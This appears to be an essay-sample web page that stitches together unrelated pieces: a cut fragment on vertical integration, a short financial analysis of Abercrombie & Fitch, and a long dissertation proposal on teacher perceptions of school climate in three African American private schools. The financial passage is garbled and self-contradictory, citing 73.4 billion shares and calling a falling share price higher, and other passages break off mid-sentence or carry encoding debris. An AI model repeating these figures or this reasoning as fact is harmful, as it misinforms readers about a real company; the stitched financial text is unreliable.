Conversely, forward vertical development is growth towards the next stage in the supply chain by gaining an interest in a buyer of the company's outputs. In both cases, the strategic logic is to secure a foothold in the same supply chain to guarantee supply or distribution. This degree of vertical integration was unusual in an industry which had become characterised by specialist companies concentrating on just one of these roles. The company believed the strength of its philosophy was that one division could help out another when times got hard, as in the recession of the early 1990s. For example, although demand for low rate hotels had declined, but standard services had experienced strong. As a result, the low rate hotels h

Financial Statement Analysis Fundamental Analysis and Valuation Essay - 1

Financial Statement Analysis Fundamental Analysis and Valuation - Essay Example Moreover, taxation Abercrombie & Fitch Company was higher in the year 2015 as compared to year 2014 depicting that the company had relatively higher sales in the present financial year. The present share price is $29.4 with total shares of 73.4 billion in both financial years. The net financial asset of the company is 1,729.5 million whilst the company adjusts share-based compensation expense on a quarterly basis for the real forfeitures. The company current inventory is valued at $ 2.8 billion (Wahlen et al. 124-189). Commodities of the company are enduring and cool, which depicts longer average lifespan of current share price. Current Share price is higher compared to the previous years prior to the financial crisis when the share price. The shares of Abercrombie & Fitch Company have reduced from 51.07 to 29.4 in the pre-market trading. Thus, an individual ought to hold on the present shares to monitor the prevailing behaviour in the year 2015 regarding the shares price. Moreover, the prices of the shares are likely to further decrease in their share

A Dissertation Proposal Essay Example for Free

A Dissertation Proposal Essay Chapter One: The Problems and Its Components The problem to be investigated in this study is school climate, considering and comparing teacher perceptions of both the actual and ideal psychological environment in three different African American private schools. The literature indicates that an open climate with lines of communication that are established at all levels, staff freedom, professional interest, and participatory decision making, among other similar factors, will lead to positive teacher attitudes and improved teacher performance. The relationship between teachers’ perceptions of the actual and ideal psychological school environment has not yet been tested for African American private schools. See more: Examples of satire in adventures of huckfinn essay Problem Background As explained by Beachum and McCray (2004), school climate has a significant impact on the attitudes and performance of teachers in that it influences professional growth and development in academic and social terms, influences the ability to handle work pressures, and ultimately can lead to attrition if the climate is not open and does not have adequate lines of communication. The school’s value systems, work pressures, participatory decision making, resource adequacy, growth opportunity, and student support all play a part in the overall climate of the school (Cole-Henderson, 2000). The study of this climate is of critical importance to the well being, positive attitudes, and professional development of the school’s teachers. The current need to provide every child with qualified and committed teachers in the face of a national teacher shortage supports the importance of conducting research on factors influencing teacher attitudes and stressors in the teaching profession, particularly those that might affect burnout and turnover. It is also clear that a healthy school climate–a school with a strong academic emphasis and a principal who has influence with superiors and is willing to use it on behalf of teachers–is conducive to the development of teachers beliefs that they can influence student learning and make a difference. It is also clear that work pressures can exert additional stress on a teacher if the school climate is perceived in a negative light. Numerous studies (Harris, 1999; Jamal, 1999; Ma Macmillan, 1999; MacDonald, 1999; Remy, 1999) have focused on teacher stress. According to Remy, research has shown that 40% of new teachers leave the profession within 5 years. These studies also have shown that approximately half of all teachers leave the profession within the first 7 years because of job-related stress. Because teaching is a stressful occupation (Ma Macmillan; Remy; Weiss, 1999), teachers often self-select out of the profession. Schools must then scramble to replace these teachers. Remaining faculty and the school district become further strained in the attempt to make up for the shortage. Knowledge of how teachers perceive the current school climate and what teachers think the ideal environment should be would be of invaluable importance. Theoretical Orientation The literature review will focus on both the conceptual framework of the study and the major variables of concern. The conceptual framework will be based on attribution and motivation theory. The major variables of concern are the ideal and actual perceptions of the school climate by teachers. Initially, attribution theory was presented as a theoretical process in the late 1970s and middle 1980s (Frieze, 1976; Weiner, 1979, 1985, 1986). It provided the framework for examining the responses of teachers to such academic outcomes of students as failure or success in the general education classroom. Since that time a number of studies have been conducted that provide empirical support of its principles. According to Graham (1990; 1991), both ability and effort have been identified as the major perceived causes of individual teacher failure or success. In other words, failure can be overcome by effort, while success comes about as a result of personal competence. Teacher ability is comprised of aptitude and learned skills in an academic context. Effort, on the other hand, is the amount of exertion applied to a learning situation. Attribution can be applied in situations in which teachers try to understand their own behavior. It can also be applied when teachers try to assess the classroom performance of students in order to increase their teaching success (Graham, 1990, 1991). When teachers’ expectations are not met, the instructors may resort to any number of actions. They may often be tardy or absent. In fact, attrition is often the end result. The individuals may also withdraw from teaching psychologically–that is, not concentrate, do no more than absolutely necessary, and have no interest or initiative. As a result, the quality of teaching in general may suffer. Vroom (1964) stated that motivation is a product of the anticipated worth that individuals place on a goal and the chances they see of achieving that goal. According to Vroom, three factors influence achievement: force, valence, and expectancy. Force equals valence times expectancy. Force is the strength of the teachers’ motivation while valence is the anticipated satisfaction from the result. Expectancy is the probability of achieving the outcome. The impact of force depends on both valence and expectancy. For example, if teachers show indifference in achieving a goal, the valence becomes zero. Specifically in his expectancy theory, Vroom (1964) suggested the following: Motivation = Perceived Probability of Success (Expectancy) x Connection of Success and Reward (Instrumentality) x Value of Obtaining Goal (Valance, Value).   From this formula it is clear that a high value for one variables of the formula will result in a high motivation value and vice versa. In Vroom’s (1964) view, the three variables must exist for motivation to take place. Thus, when teachers do not think they will be successful at a task or do not value the results of becoming successful in their school or do not perceive a connection between their attitude and the school climate, it is more than likely that they will not apply themselves to the teaching activity. Organizational theory also relates to the proposed investigative study in terms of communication. According to this theory, restrictive and closed climates with closed lines of communication relate to poor teacher performance (Cole-Henderson, 2000). The school system is an organization, and thus communication theory applies. When lines of communication are closed teachers do not communicate with administrators or students, and school management does not communicate with teachers other than giving orders from the top down. Communication only flows from the top down. In such a school system, the perceived motivational climate is negative and achievement goals suffer (Bennett, 2002). Clearly, when there are open lines of communication, there is more interest in teaching and thus knowledge has more meaning. This translates into improved achievement on the part of both the teacher and the student. It is clear to see that school climate has a decided bearing on teachers in a number of different ways. Purpose of the Study The purpose of the study is to evaluate teacher perceptions of the climate of three independent Black private schools in relationship to the actual and ideal climate. Thus, the purpose is three-fold: 1. To determine if teacher perceptions of the actual school climate differs between and among the three African American private schools included in the study. 2. To determine if the teacher’s perceptions of the ideal or preferred school climate differs between and among the three African American private schools included in the study. 3. To determine if there is a correlation among teachers who teach at different levels in the three schools included in the study regarding their perceptions of their school climate. Research Questions The major research question can be stated as follows: â€Å"Is the actual school climate of independent African American private schools adequately meeting the perceptions of its teachers regarding their ideal school climate perceptions?† From this question several sub-questions have been formulated. These may now be listed as follows: 1. Do teacher perceptions of the actual school climate differ between and among the three African American private schools included in the study, as determined by scores on the actual environment answer form of the School Level Environment Questionnaire (SLEQ)? 2. Do teacher perceptions of the ideal or preferred school climate differ between and among the three African American private schools included in the study, as determined by scores on the ideal or preferred environment answer form of the School Level Environment Questionnaire (SLEQ)? 3. Is there a significant correlation among the perceptions of teachers employed in the three schools included in the study in terms of their view of their school climate, as determined from both answer forms of the School Level Environment Questionnaire (SLEQ)? 4. Do the perceptions of teachers differ for those who teach at different student grade levels, as determined by a comparison of results from the School Level Environment Questionnaire for teachers instructing at different levels? Limitations and Delimitation One limitation of the study relates to the fact that the research has no control over the teacher participants’ reliability. It will be assumed, however, that the teachers will answer the survey questionnaire items honestly and to the best of their ability. There is also a certain weakness associated with only the use of a survey questionnaire to obtain data for analysis. Researchers do suggest the use of two or more sources–that is, triangulation – to produce better support data (Babbie, 2003; Creswell, 2003). With respect to delimitations of the study, the data source of this case will be limited to three independent Black private schools located in an urban city. Definitions Several common terms and designations are used uniquely in the proposed study. These are defined as follows: Independent Black private school. This term refers to a school owned by African Americans which is not dependent upon national or local government for financing its operation and is instead operated by tuition charges, gifts, and perhaps the investment yield of an endowment (Mahiri, 1998). School climate. This term refers to the school atmosphere. In restrictive and closed schools, authority emanates from the top down through hierarchical levels. Communication is restrictive and closed. In an open school climate, communication reaches all levels and moves in all directions (Moeller, 2005). School climate perceptions. Teacher views of their school environment will generally influence their motivation to teach, grow professionally, participate in decision making, and handle work pressures. In this study, the term will be operationally defined by scores on the School Level Environment Questionnaire (SLEQ)? Self-concept. Self-concept is considered the most basic and crucial components of personality and can be influenced by environment. Self-concept can become positive in an open school climate; conversely it can become negative in a closed and restrictive school climate. The proposed study views self concept in this context (Branden, 1999). Staff development. For this research project, this term pertains to any activities that attempt to improve the teacher’s ability to implement a new instructional program. Staff development includes an emphasis on attitude, competencies, and knowledge that enhances learning (Sykes, 1996). Teachers perceptions. In general, perceptions in the present study pertain to teachers thoughts, beliefs, and feelings about professional development training, work pressures, participatory decision making, innovation, staff freedom, student support, professional interest, and affiliation, among other related variables. Their thoughts and beliefs affect their teaching approach and presentation. Teachers are active information processors who affect classroom events as much as they are affected by them (Chance Costa, 1998). Importance of the Study African American students are not doing as well in school as others and this may be related to their teachers (Tatum, 2006). The findings of this investigative study may provide valuable knowledge about the teachers of these students. Also, other independent schools can use these outcomes to improve their educational programs for teachers and improve teacher productivity. In addition, the implications may insure that the professional and development needs of the teachers are met at school. The proposed study will add to the scholarly research. School reform and restructuring as it relates to professional development of teachers have gained momentum in the United States for the past 2 decades (Sparks, 1997). Meaningful educational reform cannot occur, however, unless teachers are integrally involved in the reform process and unless they have the time and resources to conceptualize the implementation of the changes need in their classrooms. But more research is needed to identify the ways in which the school climate can become more open and conducive to these needs. The significance of the proposed study lay in its ability to add to the database in this respect. The significance of the study and its potential results touches a number of areas and addresses several different audiences. As noted, the findings will add to the scholarly research. For example, understanding factors that influence teacher perceptions of climate in African American private schools can help reveal the underlying logic that influences their motivation, professional development, and perhaps their participation in the decision making processes. Chapter Two: Review of Literature It is important to note that educational researchers have consistently found unequal levels of achievement between African American and Caucasian students (Bankston Caldas, 1997; Graybill, 1997). Educational specialists such as Hurd (2001) refer to the problem faced by African American students, as the achievement gap and further point out that in today’s school systems less than 60% of African American high school students graduate in 14 years. Joseph (2000) noted that if Caucasian students were dropping out at the same rates as African American students, we would declare a state of crisis in teaching these students. According to Tyson (2002), it is time to require teachers and administrators to address the problem and to consider issues related to achievement motivation among African American students. According to Baldwin, Coney III, and Thomas (1993), the eleven areas of school effectiveness are â€Å"effective instructional leadership, clear and focused mission, safe and orderly environment, positive school climate, high expectations, frequent assessment/monitoring of student achievement, emphasis on basic skills, maximum opportunities for learning, parent community involvement, strong professional development, and teacher involvement in decision-making.† In these areas of school effectiveness, school climate is one of the most important things wherein it has been subject to extensive research. School climate is a term referring to the â€Å"personality of a school,† according to Hoy and Miskel (1982). It is a characteristic of a school which includes the school’s physical structure of its buildings and the interactions between students and teachers. These are the two factors that both affect and help to define the concept of school climate according to Marshall (2004). Les Gallay and Suet-ling Pong (2004), on the other hand, viewed school climate as â€Å"the part of the school environment associated with attitudinal and affective dimensions and the belief systems of the school that influence children’s cognitive, social, and psychological development.† They also cited Ashby and Krug (1998) and Griffith (2000) on what school climate is a how it affect the society. According to Ashby and Krug (1998), school climate is reflected in the social interactions within the classroom and within the school community. According to Griffith (2000), values, attitudes, beliefs and communications are subjective matters; many researches rely on the perceptions of the participants (teachers, students, parents) to measure the effect of school climate. For many years and up to the recent days, the concept on school climate influencing significantly in educational outcomes is still being researched by many researchers. Perceptions on school climate influence many people (e.g. students, teachers, parents) which may also influence the processes and outcomes in a physical, social, and learning environment. Research shows that both teacher and student perceptions of school climate influence student achievement. An early study by Fraser (1989) laid the groundwork for this research. Fraser (1989) studied the effects of classroom environment on student achievement, for example, and found that student outcomes could be improved by creating classroom environments that are conducive to learning. Classroom environments studied by Fraser (1989) used student perceptual data to assess the school environment and reach conclusions. A number of studies have been conducted since the 1980s showing a relationship between students’ perceptions of the school climate in various terms and their achievement in one form or another. In 1995, the study of Bulach, Malone, Castleman on the investigation of variables related to student achievement showed that there is a significant difference in student achievement between schools with good school climate and schools with poor school climate. On schools with positive school climate, students develop a positive perception on school climate, making them comfortable with the learning environment they are in. On separate studies conducted by Hirase (2000) and Erpelding (1999) on the relationship between school climate and achievement of students, both studies came up with same result that schools with a positive climate had a higher academic achievement as compared to schools with negative climate. Another case presented by Freiberg (1998) showed that the students’ perceptions are important especially during the transition from one school level to another (e.g. elementary to high school). According to him, attending a new school can be frightening for students which could affect their perceptions on the school climate which could consequently affect their learning outcomes or performance. With that, the research showed that having good or positive school climate will result to an easy transition or adaption to the new school environment and a good performance of students may be easily achieved. This chapter will focused more on the theories and studies related to the teachers’ perception on school climate in order to have critical views on it. In addition, this chapter will also present and analyze established studies on the influences made by school climate on teachers’ perceptions and subsequently to the effect of having these perceptions to the assessment and improvement of the students’ performance in school. Conceptual Framework The conceptual framework of the study is related to attribution, motivational, and organizational climate in terms of lines of communication. According to attribution theory, teachers’ perceptions of their school teaching experiences will generally influence their achievement motivation and performance development more than the actual objective of those experiences (Weiner, 1985). School climate is also an important aspect of learning and effective instruction (Freiberg, 1998). When teachers are more empowered, students are able to voice their concerns and learn from the experience. When questions and answers are free flowing, the school climate is open. For example, understanding factors that are influenced by an independent Black school climate such as academic achievement can help reveal the underlying logic that influences teacher motivation and performance (Joseph, 2000). Motivation on the part of teachers is an important aspect of effective instruction (Joseph, 2000). Vroom (1964) defined motivation as a product of the anticipated worth that individuals place on a goal and the chances they see of achieving that goal, as mentioned in Chapter 1. According to him, three factors influence achievement: force, valence, and expectancy. Force is the strength of the teachers’ motivation while valence is the anticipated satisfaction from the result. Expectancy is the probability of achieving the outcome. The impact of force depends on both valence and expectancy. In his view, the three variables must exist for motivation to take place. Thus, when teachers do not think they will be successful at a task or do not value the results of becoming successful in their school or do not perceive a connection between their attitude and the school climate, it is more than likely that they will not apply themselves to the teaching activity. But when teachers are motivated to perform competently in the classroom, they will have more positive attitudes resulting to a positive result to the students. As noted by Banks (2001), school climate can also impact teacher identity. Banks reported that, â€Å"The school climate communicates†¦the school’s attitudes toward a range of issues and problems† (p. 24). School values not in agreement with those of its teachers and a lack of communication and perceptions of shared power and control on the part of administration (teachers and principals), may negatively influence teachers’ attitudes about the school itself and their chances for professional development (Hoy Woolfolk, 1993). When the climate of the school promotes a harmonious value system that is in agreement school wide, and when high levels of communication exist, teacher attitudes are more positive. Thus it can be seen, as Karpicke and Murphy (1996) have noted, a positive school climate has a great impact on success of both teachers and students alike, significantly encouraging achievement on the part of all. Lynn and Hassan (1999) examined pedagogical practices and beliefs of African American teachers and students at a private middle school in an affluent African American community. Their investigative study provided a portrait of the school and the students in an attempt to raise the critical consciousness of the students. From their observations and interviews, they found the role of alignment between the school mission and teacher beliefs and practices was high. Also, there were shared views about the principles taught regarding the development of moral, intellectual, and spiritual aspects of students. According to attribution theory, teachers’ perceptions of their school climate experiences, whether they be the actual objective of the experience or not, will generally influence their attitudes toward teaching (Weiner, 1985). In other words, teachers try to explain their failure or success by relating (attributing) this to certain school climate characteristics. Weiner (1986) also linked attribution theory to achievement motivation in specific steps. In Weiner’s view, the first step starts with an outcome realization. Deciding whether or not the outcome is negative or positive represents the second step of this sequential process. During the third step, specific information about the outcome is gathered. Next, the search for a cause takes place. This involves a determination as to whether the outcome is the effect of a specific strategy, conscious effort on the part of the student in question (i.e., the doer), or just plain luck. In this way, achievement motivation is explained. McClelland (1985) also linked attribution theory to achievement motivation, but carried the analysis as well as the theoretical orientation a step further. McClelland identified variables or component parts that comprised achievement motivation and subsequently acknowledged some common characteristics. These included (a) concern for personal achievement over concern for external rewards for success, (b) an ability to set obtainable goals, (c) the desire for performance related feedback as opposed to attitudinal feedback, and (d) consistent thinking about ways in which progress can be made which thus increases their achievement levels. Expectancy theory as related to achievement theory is yet another theoretical orientation of the present investigative research. It should be explained that the emotional feelings of achievement and satisfaction are actually determined by each individual. Teachers decide on the degree to which their learning experiences are satisfying by comparing them with their own expectations (Whaley Smyer, 1998). Aspects of learning that fall short of these expectations can cause discontent. Often teachers compare their perceptions of their school climate to their perceptions of what it should be. If a teacher’s subjective evaluation or perception of ratio of school climate inputs to output (e.g., positive attitudes and satisfaction) is lower than the comparison, the teacher is very likely to be dissatisfied. Expectations and comparisons of perceived worth, however, are subjective, and often biased or even erroneous. Private Schools As the achievement gap grows larger, African American parents have also lost faith in public school education, especially those who have enrolled their children in private schools (Sander, 1997). This is because of some factors such as racial discrimination of the white teachers and white students to black students, low interest of students to go to school for a reason that they develop low self-esteem in school because of diverse ethnicity, and many other more. Black and White parents alike believe that attending private schools would rid their children of such problems as bullying, skipping school, high dropout rates, and would give their children a better chance to higher academic achievement. According to National Center for Education Statistics (2008), there are 28, 384 private schools in the United States now with 6.1 million PK-12 students enrolled. Over 25 percent of the nation’s schools are private schools and about 11% of all students are enrolled in these private schools. On the other hand, the National Center for Education Statistics, which periodically test the grade 4, 8, and 12 students’ skills and knowledge using the National Assessment of Educational Progress (NAEP), showed their analysis on the score of students from private and public schools. Based on their results, students in private schools consistently score well as compared to public students. There are many factors that could affect students’ achievement. Factors may include the type of school the student is enrolled, number of students in a classroom (class size), the efficiency of the teacher teaching the subject, the student’s classmates, and many other more including family and social factors that could hinders students’ achievement (Betts et. al, 2003). However, one of the most influential on students’ achievement is the way the teacher is teaching the subject and the values he/she taught to the students. With this reason, the teachers’ perception on their school climate will greatly influenced the way they will teach the students for their perceptions will determine factors that motivates them to teach such as job satisfaction or secured environment. Attribution Factors in Terms of School Climate A number of attribution factors influencing achievement motivation are identified in the literature and are examined in the research. These include (a) school climate in terms of lines of communication, (b) peer influence, and (c) perceptions of educational experiences. Each has an important influence and is considered to be an important attribution variable influencing achievement motivation. With respect to school climate, perceptions are related to their overall educational experience. Studies have shown that perceptions of school climate affect a wide variety of social and academic success factors, and vice versa. For example, the social environment and climate of the school and the actions within those environments influence students’ perceptions of their own effort and success in school (Kaufman, 2004). Moeller (2005) found that students’ perceptions of school climate and their own sense of responsible behavior are correlated. Studies also found that school climate can be effective in many ways. Researchers found school climate positively affect academic performance/achievement. They also found that it influences the behaviour of a student and the decision to remain in school (Monrad et al., 2008). Similarly, according to Kuperminc et al. (1997), a positive school climate showed association with fewer behavioural and emotional problems for students. Smerdon’s (2002) study, which collected data from a nationally representative sample of high school students, discovered that students who may need perceived school membership and open school climate the most and may benefit most from it perceived lower levels of membership than did their peers. The cultural environment in schools can also contribute to African American students’ poor academic performance. Teachers often comment on the fact that these items give them little chance to help African American students in meaningful ways: (a) they often can only maintain minimal order in the classroom, (b) school violence is on the increase, (c) with curriculum requirements teachers have little time to help student’s to fulfill the requirements of the curriculum, and (d) these students become discouraged and very often drop out of school (Hale-Benson, 1996). Voelkll (1995) examined the influence that participation and creating a warm school environment would have on academic achievement. The study included a nationwide sample of 13,121 eighth graders. The finding showed, â€Å"that there was a direct relationship between warmth in the classroom environment parent involvement in the school and students willingness to participate. It seems that participation in class has a distinct and crucial influence on the relationship between students’ perceptions and achievement† (p. 112). In addition, on the study conducted on school climate in urban environments by Haynes Comer (1993) showed that a positive school climate and is conscious of cultural differences can significantly improve academic success or performance among the urban students. Hoy and Woolfolk (1993), on the other hand, assessed teachers’ perceptions of the school climate as related to organizational health. Specifically, the researchers examined the relationships between two dimensions of teacher efficacy (general and personal teaching efficacy) and aspects of a healthy school climate as defined in terms of institutional integrity, principal influence, consideration, resource support, morale, and academic emphasis. The sample of the study consisted of 179 teachers from 37 elementary schools in New Jersey (Hoy Woolfolk, 1993). A modification of the Organizational Health Inventory was administered to the teachers to obtain the data for analysis. The researchers concluded from their data analysis that a healthy school climate (strong academic emphasis and a principal who was able to influence superiors on behalf of teachers) was favorable to the development of teachers’ beliefs that they could influence student learning, â€Å"Thus, teachers confidence that they can reach students was supported by organizational factors that help teachers manage and teach students† (p. 355). Studies have shown that a positive school climate is associated with increased job satisfaction for teachers (Taylor and Tashakkori, 1995; Ma MacMillan, 1999), level of work efficacy, and teacher autonomy. Teachers found satisfied in their jobs have more positive views or perception about school climate as compared to those teachers who were not satisfied (Bahamonde-Gunnell, 2000). While on the research conducted by Hirase (2000), the researcher found out that teachers working in a school with positive school climate have greater sense of work-efficacy. The research conducted by Erpelding (1999) found that there is a strong relationship between teacher autonomy and school climate. Same with the studies of Bempah et al. (1994) and Rosenholz (1989), when teachers feel that they have some power or autonomy and also involves into school-level decision-making, they are less likely to leave. Consequently, when teachers feel powerless and alienated, their efficiency to teach lowers (Ashton Webb, 1986). With an increased in job satisfaction, work-efficacy, and teacher autonomy, teachers will be able to educate the students with quality education, thus, increasing the students’ performance or success in learning and making the school successful too. To support this favourable development of teachers in positive school climate which can lead to successful school, studies also found that a having a positive school climate is related to indicators of school success such as standardized test scores (Monrad et al., 2008). Chapter Three: Methodology Previous chapters introduced the problem of the study, explained the purpose, provided the theoretical orientation, and reviewed the literature pertinent to the major variables. The purpose of this chapter is to detail the methodology that will be employed to collect and analyze the data. Thus, this chapter presents the design, procedures, and analysis plan for carrying out the study. Research Design The method for this study is based on a non-experimental design that focuses on the use of data collected using scores from the SLEQ in a selected population. Thus, the research approach of the study will be descriptive and will essentially represent a quantitative study. Research provides us with a variety of perspectives from which to see things and a way of empirically analyzing our findings (Rinaldo, 2005). It enables use to see from where we have come, provides us with a description of where we are now, and gives us some semblance of the direction in which we seem headed (Rinaldo). Quantitative and qualitative research is vital part of any investigation. Quantitative research is defined as the collection of numerical and statistical data (O’Neil, 2006). Quantitative research is frequently used to investigate research questions. This research often starts with the collection of statistics, based on data, observations, or surveys. One popular quantitative technique is the survey. Surveys can be administered by telephone, face to face, mail, or more recently by the Internet. Quantitative data is described by O’Neil as data which can be sorted, classified, measured in a strictly objective way. The relationship between these variables is expressed using effect statistics, such as correlations, relative frequencies, or differences between means (Hopkins, 2000). The researcher is a very valuable component throughout the collection of data. According to Glesne and Peshkin (1992), when conducting a quantitative study, the researcher is described as being detached, impartial, objective, and portrayal. The researcher’s purpose is to generalize, predict, and provide causal explanations. There are several approaches the research can use. Some approaches are subject to hypothesis, theories, manipulation and control, experimentation, deductive, and component analysis (Glesne Peshkin). According to Hopkins (2000), in a descriptive study, subjects are usually measured once and no attempt is made to change behavior or conditions; things are measured as they are. Hopkins stated that the aim in quantitative research is to distinguish the relationship between the independent variable and the dependent variable in a population. Selection of Participants Babbie (2003) indicated that it is appropriate for a researcher to conduct purposeful sampling because of the researcher’s knowledge of the population, its elements, and the nature of the research objectives. In addition, Babbie (2003) suggested that a researcher may want to study a small subset of a larger population in which members of the subset are easily identified. It is for this reason that three African American private schools in one urban area in the United States were selected for inclusion in the study. These will be named A, B, and C to ensure anonymity. Together, the study population total will be 67 teachers instructing preschool through twelfth grade. All will become the target population. Those who agree to participate in the study will become the sample. Their responses will provide data regarding their perception of the climate in their school, both actual and ideal. School A focuses on educating students ages 2-12 and strengthening basic educational components to prepare students to be competitive in a global society. The co-educational school enrolls 121 students in grades prekindergarten to fifth grade and employs 20 teachers. The student to teacher ratio is 9.3:1. All of the students are African American. School B is a Christian school. The co-educational school enrolls 220 students in grades prekindergarten to twelfth grade and employs 26 teachers. The student to teacher ratio is 7.8:1. Ninety-eight percent of the students are African American. School C has built its program around the concept currently known as African-Centered education, a holistic approach based upon the premise that children excel academically and intellectually when the curriculum, teaching methodology, and environment reflect the builders of yesterday and the ideas of the future. The co-educational school enrolls 215 students in grades prekindergarten to eighth grade and employs 21 teachers. The student to teacher ratio is 10:1. Ninety-eight percent of the students are African American. Instrumentation Data used in the proposed study to analyze the perceptions of teachers will be collected through administration of a test instrument, the School Level Environment Questionnaire (SLEQ), as developed by Fisher and Fraser (1990) and published in the Handbook of Tests and Measurement in Education and the Social Sciences (2000). The SLEQ is comprised of 56 items that measure teacher’s perceptions of the psychological environment of a school. As explained by the originators, the SLEQ consists of two answer forms–one that measures the actual environment as perceived by teachers and the second that measures the ideal or preferred school environment. Three different teacher samples assisted in the development of the test instrument (Fraser, 1989). Alpha coefficients ranging from 0.70 to 0.81 were provided as an estimate of the internal consistency of each of the eight subscales. These subscales include student support, affiliation, professional interest, staff freedom, participatory decision making, innovation, research adequacy, and work pressure. Each subscale consists of seven items which, when added together, provide a separate score. The scale development for the SLEQ was derived from the Work Environment Scale (Fraser, 1989). It is divided into three basic dimensions. These include relationship, personal development, and system maintenance and system change dimensions. As reported by Fisher and Fraser (1990), these broad dimensions were used for the development of the SLEQ. Non-participatory decision making (suggesting a closed school climate) is indicated, for example, by such items as â€Å"I have little say in the running of the school† and â€Å"It is very difficult to change anything in this school.† Resource inadequacy is indicated by responses to such items as, â€Å"Tape recorders and cassettes are seldom available when needed† and â€Å"The supply of equipment and resources is inadequate.† Assumptions It will be assumed that all study subjects will answer the survey questions honestly and to the best of their ability. It is also assumed that the students in the three schools where their teachers are being surveyed will be representative of the larger population of African American students attending an independent Black private school. Procedures Data will be collected by the researcher from the teachers at each school at a time selected by the administrators and researcher. The purpose of the study will be presented to the teachers and the questionnaires will be distributed. The researcher will remain until the teachers have completed the questionnaires and will collect the completed forms before leaving the meeting. Those teachers who agree to participate and return completed survey forms will become the sample. All respondents will be asked not to sign their name. In this way this researcher can assure anonymity. Those who wish a copy of the results when the study is completed will be asked to provide an e-mail address to be used for this purpose only. Data Processing and Analysis Data collected from survey questionnaires will be assessed to determine whether teachers’ perceptions of their actual school climate are similar to their perceived ideal school climate. The perceptions will be compared. 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